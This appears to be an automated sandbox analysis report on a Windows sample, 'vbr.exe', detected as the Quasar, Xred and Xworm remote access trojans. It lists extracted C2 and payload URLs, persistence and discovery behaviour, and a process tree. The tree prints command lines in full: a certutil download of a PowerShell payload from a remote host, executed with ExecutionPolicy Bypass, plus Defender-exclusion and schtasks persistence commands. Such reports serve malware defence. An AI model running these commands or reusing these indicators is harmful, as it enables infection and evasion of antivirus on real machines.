quasar | 9bc832050495cccbd57615cfba9f2db549f66b9420116edf4ab42f40af43364b

Analysis

max time kernel
145s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240419-en
submitted
29/04/2024, 16:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
vbr.exe
Size 2.6MB
Sample240429-tst7ysfc7v
SHA256 9bc832050495cccbd57615cfba9f2db549f66b9420116edf4ab42f40af43364b
MD5 b0625184af73036b56ffddf3625239e7
SHA1 3587afd2ff8c97b7a9e6208ed395eb853cef328f
SHA512 c10a5bbe386aa5c900a424e8957305f907d18062cb15b68b27dc658e1a4a612d7555d183c4a772e7d6fdba106b96acb3213bae89437f0121c160b2b3db8d0130
SSDEEP 49152:5nsHyjtk2MYC5GDYhP6BnmKYDyqeYhP6BnmKYDyqSEe1:5nsmtk2ab6BnmGu6BnmGqe1
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar xred xworm backdoor discovery execution persistence rat spyware trojan

Malware Config

Extracted

Family

xred

xred.mooo.com

Attributes

email
[email protected]
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

http://xred.site50.net/syn/SUpdate.ini

https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

http://xred.site50.net/syn/Synaptics.rar

https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

xworm

Version

fri-discussing.gl.at.ply.gg:31675

Mutex

dIzYARqEfiXAmk7I

Attributes

Install_directory
%ProgramData%
install_file
explorer.exe

aes.plain

Signatures

Detect Xworm Payload 5 IoCs

resource	yara_rule
behavioral3/files/0x001a00000002ab4f-137.dat	family_xworm
behavioral3/files/0x001900000002ab56-213.dat	family_xworm
behavioral3/memory/2668-329-0x0000000000400000-0x00000000004CA000-memory.dmp	family_xworm
behavioral3/memory/3828-330-0x0000000000A60000-0x0000000000A70000-memory.dmp	family_xworm
behavioral3/memory/4844-350-0x0000000000400000-0x00000000004CA000-memory.dmp	family_xworm

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 5 IoCs

resource	yara_rule
behavioral3/files/0x001900000002ab54-148.dat	family_quasar
behavioral3/files/0x001b00000002ab20-269.dat	family_quasar
behavioral3/memory/5108-344-0x0000000000400000-0x00000000004FE000-memory.dmp	family_quasar
behavioral3/memory/860-346-0x0000000000400000-0x00000000004FE000-memory.dmp	family_quasar
behavioral3/memory/2712-347-0x0000000000A10000-0x0000000000A54000-memory.dmp	family_quasar

Xred
Xred is backdoor written in Delphi.
backdoor xred
Xred family
xred
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3528	powershell.exe
4868	powershell.exe
1808	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\._cache_5.lnk	._cache_5.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\._cache_5.lnk	._cache_5.exe

Executes dropped EXE 13 IoCs

pid	Process
3968	._cache_vbr.exe
428	Synaptics.exe
2668	5.exe
860	8.exe
3468	._cache_Synaptics.exe
3828	._cache_5.exe
4844	5.exe
5108	8.exe
3360	._cache_8.exe
2712	._cache_8.exe
236	._cache_5.exe
4516	._cache_5.exe
2344	._cache_5.exe

Loads dropped DLL 4 IoCs

pid	Process
4844	5.exe
4844	5.exe
5108	8.exe
5108	8.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	vbr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\._cache_5 = "C:\\ProgramData\\._cache_5.exe"	._cache_5.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_8.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	vbr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	._cache_vbr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	8.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	._cache_Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	8.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3652	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe
1808	powershell.exe
1808	powershell.exe
3528	powershell.exe
3528	powershell.exe
3828	._cache_5.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3828	._cache_5.exe
Token: SeDebugPrivilege	236	._cache_5.exe
Token: SeDebugPrivilege	2712	._cache_8.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeDebugPrivilege	3828	._cache_5.exe
Token: SeDebugPrivilege	4516	._cache_5.exe
Token: SeDebugPrivilege	2344	._cache_5.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3828	._cache_5.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 3772 wrote to memory of 3968	3772	vbr.exe	81
PID 3772 wrote to memory of 3968	3772	vbr.exe	81
PID 3772 wrote to memory of 428	3772	vbr.exe	82
PID 3772 wrote to memory of 428	3772	vbr.exe	82
PID 3772 wrote to memory of 428	3772	vbr.exe	82
PID 3968 wrote to memory of 2668	3968	._cache_vbr.exe	83
PID 3968 wrote to memory of 2668	3968	._cache_vbr.exe	83
PID 3968 wrote to memory of 2668	3968	._cache_vbr.exe	83
PID 3968 wrote to memory of 860	3968	._cache_vbr.exe	84
PID 3968 wrote to memory of 860	3968	._cache_vbr.exe	84
PID 3968 wrote to memory of 860	3968	._cache_vbr.exe	84
PID 3968 wrote to memory of 2276	3968	._cache_vbr.exe	85
PID 3968 wrote to memory of 2276	3968	._cache_vbr.exe	85
PID 428 wrote to memory of 3468	428	Synaptics.exe	86
PID 428 wrote to memory of 3468	428	Synaptics.exe	86
PID 2668 wrote to memory of 3828	2668	5.exe	87
PID 2668 wrote to memory of 3828	2668	5.exe	87
PID 2276 wrote to memory of 2108	2276	WScript.exe	88
PID 2276 wrote to memory of 2108	2276	WScript.exe	88
PID 3468 wrote to memory of 4844	3468	._cache_Synaptics.exe	90
PID 3468 wrote to memory of 4844	3468	._cache_Synaptics.exe	90
PID 3468 wrote to memory of 4844	3468	._cache_Synaptics.exe	90
PID 3468 wrote to memory of 5108	3468	._cache_Synaptics.exe	91
PID 3468 wrote to memory of 5108	3468	._cache_Synaptics.exe	91
PID 3468 wrote to memory of 5108	3468	._cache_Synaptics.exe	91
PID 3468 wrote to memory of 4928	3468	._cache_Synaptics.exe	92
PID 3468 wrote to memory of 4928	3468	._cache_Synaptics.exe	92
PID 2108 wrote to memory of 436	2108	cmd.exe	93
PID 2108 wrote to memory of 436	2108	cmd.exe	93
PID 4928 wrote to memory of 2196	4928	WScript.exe	94
PID 4928 wrote to memory of 2196	4928	WScript.exe	94
PID 5108 wrote to memory of 3360	5108	8.exe	96
PID 5108 wrote to memory of 3360	5108	8.exe	96
PID 5108 wrote to memory of 3360	5108	8.exe	96
PID 860 wrote to memory of 2712	860	8.exe	97
PID 860 wrote to memory of 2712	860	8.exe	97
PID 860 wrote to memory of 2712	860	8.exe	97
PID 2196 wrote to memory of 4004	2196	cmd.exe	98
PID 2196 wrote to memory of 4004	2196	cmd.exe	98
PID 4844 wrote to memory of 236	4844	5.exe	99
PID 4844 wrote to memory of 236	4844	5.exe	99
PID 3828 wrote to memory of 4868	3828	._cache_5.exe	102
PID 3828 wrote to memory of 4868	3828	._cache_5.exe	102
PID 3828 wrote to memory of 1808	3828	._cache_5.exe	104
PID 3828 wrote to memory of 1808	3828	._cache_5.exe	104
PID 3828 wrote to memory of 3528	3828	._cache_5.exe	106
PID 3828 wrote to memory of 3528	3828	._cache_5.exe	106
PID 3828 wrote to memory of 3652	3828	._cache_5.exe	108
PID 3828 wrote to memory of 3652	3828	._cache_5.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\vbr.exe
"C:\Users\Admin\AppData\Local\Temp\vbr.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Users\Admin\AppData\Roaming\5.exe
    "C:\Users\Admin\AppData\Roaming\5.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_5.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3828
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4868
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\._cache_5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3528
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "._cache_5" /tr "C:\ProgramData\._cache_5.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3652
- - C:\Users\Admin\AppData\Roaming\8.exe
    "C:\Users\Admin\AppData\Roaming\8.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:860
  - - C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_8.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2712
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\windows.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2276
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1 && powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps1 && del C:\Users\Admin\AppData\Local\Temp\payload.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2108
    - - C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1
        5⤵
        
        PID:436
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3468
  - - C:\Users\Admin\AppData\Roaming\5.exe
      "C:\Users\Admin\AppData\Roaming\5.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4844
    - - C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_5.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:236
  - - C:\Users\Admin\AppData\Roaming\8.exe
      "C:\Users\Admin\AppData\Roaming\8.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:5108
    - - C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_8.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3360
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\windows.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4928
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1 && powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps1 && del C:\Users\Admin\AppData\Local\Temp\payload.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2196
      - C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1
        6⤵
        
        PID:4004

C:\ProgramData\._cache_5.exe
C:\ProgramData\._cache_5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4516

C:\ProgramData\._cache_5.exe
C:\ProgramData\._cache_5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Synaptics.exe

Path C:\ProgramData\Synaptics\Synaptics.exe
Size 2.6MB
SHA256 9bc832050495cccbd57615cfba9f2db549f66b9420116edf4ab42f40af43364b
MD5 b0625184af73036b56ffddf3625239e7
SHA1 3587afd2ff8c97b7a9e6208ed395eb853cef328f
SHA512 c10a5bbe386aa5c900a424e8957305f907d18062cb15b68b27dc658e1a4a612d7555d183c4a772e7d6fdba106b96acb3213bae89437f0121c160b2b3db8d0130
SSDEEP 49152:5nsHyjtk2MYC5GDYhP6BnmKYDyqeYhP6BnmKYDyqSEe1:5nsmtk2ab6BnmGu6BnmGqe1
MD5 SHA1 SHA512 SSDEEP

Submit Download

._cache_5.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\._cache_5.exe.log
Size 654B
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8
MD5 05b3cd21c1ec02f04caba773186ee8d0
SHA1 39e790bfe10abf55b74dfb3603df8fcf6b5e6edb
SHA512 e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 009aee0a5f2d25ed79160e75cde58722def11663334ed20283e3afca32f971ea
MD5 1189a72e42e2321edf1ed3a8d5568687
SHA1 a2142fc754d6830de107d9d46f398483156f16a6
SHA512 b1eb9b7aa7a57d0acec93b8152229b1f274a8d1b8f19133513486587f39b0636a9df89ddc6c2013e001d831f2b23cd0bb0fc084131824ea8e1dff134cd6d4f29
MD5 SHA1 SHA512

Submit Download

._cache_5.exe

Path C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
Size 39KB
SHA256 a2d719971a8ea66f5494722fbdaefe30ead6e51a97d9b33e28ca4696170a0789
MD5 37dbeb0633221101d4a3868c77ab8284
SHA1 2cf1098573b02cbe8f6bb912169930345c5f3216
SHA512 40ffbcc2c6d082689648c0f63027d15519188c7bb43341e1758f63cfc08d990999e2d838885e529ffb12c06ce384107748217a5e08a54ed8ccb09d8592429b12
SSDEEP 768:ERP8pEtSvcfKmvrjOMtw0/OPjF5Ph9CxI6+OwhJICRHIgcP:KPh0vcR3uWoFD98I6+Ows8ox
MD5 SHA1 SHA512 SSDEEP

Submit Download

._cache_8.exe

Path C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
Size 246KB
SHA256 03f74f7673b44d5145d9b07104c7e63106546da09e4c485713170c7198bb4be9
MD5 ffb865a77526855b69afcc382d83987c
SHA1 e93281cdebce286952079e0e7ffbaa0ace1985e4
SHA512 f1f6911586bfa8583f5788081d253054c9602de4036519880392baeec180d72c34255a191c075f8f067edec96405d219a6a58badf2675bd055429fd645a0e8df
SSDEEP 3072:7pG6S4+kP6szsz1dlKJOdTPMYc7GFDNKLLzJubzgb50Q1r3fhBsXM9qnxp:7HJ+W6sz4rlKJOdpcaFDGp8EbBhk
MD5 SHA1 SHA512 SSDEEP

Submit Download

._cache_vbr.exe

Path C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe
Size 1.9MB
SHA256 310c8d652b60e3edfb95df723d053eda3f11230dc066d91ff4206534041df85a
MD5 9e94690273780d9b29bf2196be5fe941
SHA1 3f1c2c7763f8b750907df119896444499d7f5522
SHA512 442fe19959a03d2759f253e165a9837824099eff765f79e233e7ec9cab83cbbe7e938eec3809f7efc0fbc7f7d9ae03b724994fc168053ecf349807eb88527a76
SSDEEP 24576:VAOz34PW046BnmAXZyiE/VVyqJgT5Oz34PW046BnmAXZyiE/VVyqJnu9RmNpgf:RhP6BnmKYDyqeYhP6BnmKYDyqSEe
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_uj5tvrc1.1bg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uj5tvrc1.1bg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

5.exe

Path C:\Users\Admin\AppData\Roaming\5.exe
Size 784KB
SHA256 dc6fce9c2dd297f1e31d8d664dc20214c9a5c7389b3ac675ab21f3785b00c31d
MD5 9cddfe0e46e9a2e362f59a090fa54f39
SHA1 fe0b43a35c16be2dadff99f10466d7c14552a406
SHA512 31eb0b8499727506a75a9e82587998d420ab35592cc03396a9831f8bb28635592e49cea2b2156a79bddfa75ae6a4a6c6b7fdd9389e314b025d3497628a053366
SSDEEP 12288:uMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Fs:unsJ39LyjbJkQFMhmC+6GD9i
MD5 SHA1 SHA512 SSDEEP

Submit Download

8.exe

Path C:\Users\Admin\AppData\Roaming\8.exe
Size 991KB
SHA256 a6d1958c87f10ccabb74d5264f7097d8e1387fbcf412f6dc824fdfec9495d9c4
MD5 e1a06d5fc15aadf6b5bcb3f30d2336a0
SHA1 464b585596ba599b646ed682dcc2a5601e7f3a17
SHA512 b1b36d52f95fe0cbc1dab800aa1d8b57e617fb5c6356eb213627820c40cbfce25b53c35771d3b34852ad92e96dbe2b2706d78b1ca778b586bca33beaaecad93d
SSDEEP 12288:/MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9WxKJOdpXDGp8AhkRs:/nsJ39LyjbJkQFMhmC+6GD9WPGp8zu
MD5 SHA1 SHA512 SSDEEP

Submit Download

windows.vbs

Path C:\Users\Admin\AppData\Roaming\windows.vbs
Size 302B
SHA256 a11c45863e9984778310f6caedde9918801f9408ab462005d13453c73122421b
MD5 2e1ff4e563a7a4737889e1457fde3fce
SHA1 9f4922182f03295334f4e0a4dd6869c2dd3c8caf
SHA512 d0ddc22a2dd6b2a07ccd5c626c8ba00475b32fa5a2d4973d16e7f221f17d2d4109b4683c5773a54ee66fe6fbc4b720f77b6a679a58fb860b67f4f38ca3ca1a25
MD5 SHA1 SHA512

Submit Download

memory/428-356-0x0000000000400000-0x000000000069C000-memory.dmp

Download

memory/428-413-0x0000000000400000-0x000000000069C000-memory.dmp

Download

memory/428-412-0x0000000000400000-0x000000000069C000-memory.dmp

Download

memory/428-394-0x0000000000400000-0x000000000069C000-memory.dmp

Download

memory/428-402-0x0000000000400000-0x000000000069C000-memory.dmp

Download

memory/860-346-0x0000000000400000-0x00000000004FE000-memory.dmp

Download

memory/1808-380-0x000002DF29F30000-0x000002DF2A07F000-memory.dmp

Download

memory/2668-329-0x0000000000400000-0x00000000004CA000-memory.dmp

Download

memory/2712-401-0x0000000006A40000-0x0000000006A4A000-memory.dmp

Download

memory/2712-354-0x0000000006230000-0x0000000006242000-memory.dmp

Download

memory/2712-352-0x00000000053D0000-0x0000000005436000-memory.dmp

Download

memory/2712-347-0x0000000000A10000-0x0000000000A54000-memory.dmp

Download

memory/3360-351-0x0000000004B90000-0x0000000004C22000-memory.dmp

Download

memory/3360-348-0x0000000005240000-0x00000000057E6000-memory.dmp

Download

memory/3528-391-0x000001873D220000-0x000001873D36F000-memory.dmp

Download

memory/3772-131-0x0000000000400000-0x000000000069C000-memory.dmp

Download

memory/3772-0-0x0000000002400000-0x0000000002401000-memory.dmp

Download

memory/3828-330-0x0000000000A60000-0x0000000000A70000-memory.dmp

Download

memory/3968-266-0x00007FF835F70000-0x00007FF836A32000-memory.dmp

Download

memory/3968-127-0x00007FF835F70000-0x00007FF836A32000-memory.dmp

Download

memory/3968-118-0x0000000000C50000-0x0000000000E30000-memory.dmp

Download

memory/4844-350-0x0000000000400000-0x00000000004CA000-memory.dmp

Download

memory/4868-368-0x000001C0F47E0000-0x000001C0F492F000-memory.dmp

Download

memory/4868-365-0x000001C0F4650000-0x000001C0F4672000-memory.dmp

Download

memory/5108-344-0x0000000000400000-0x00000000004FE000-memory.dmp

Download